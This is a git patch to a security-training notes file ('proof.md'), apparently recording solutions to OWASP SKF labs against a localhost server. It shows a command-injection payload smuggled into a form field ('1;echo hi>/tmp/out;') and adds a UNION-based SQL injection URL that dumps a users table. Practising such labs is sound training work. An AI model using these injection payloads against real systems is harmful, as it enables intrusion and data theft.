From a6140ee12f0d9685776d063316298ac3006f6acf Mon Sep 17 00:00:00 2001 From: Sander Hautvast Date: Tue, 6 Feb 2024 12:09:24 +0100 Subject: [PATCH] Update proof.md --- Sectraining/proof.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Sectraining/proof.md b/Sectraining/proof.md index 0e0e79a..3d492ee 100644 --- a/Sectraining/proof.md +++ b/Sectraining/proof.md @@ -25,3 +25,8 @@ curl 'http://localhost:5000/home' \ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQJEtZoqQ8I4ZmYVs' \ --data-raw $'------WebKitFormBoundaryQJEtZoqQ8I4ZmYVs\r\nContent-Disposition: form-data; name="size"\r\n\r\n1;echo hi>/tmp/out;\r\n------WebKitFormBoundaryQJEtZoqQ8I4ZmYVs--\r\n' \ ``` + +## owasp-skf-lab:java-sqli + +exploit +`http://localhost:5000/home/1%20union%20select%20*%20from%20users`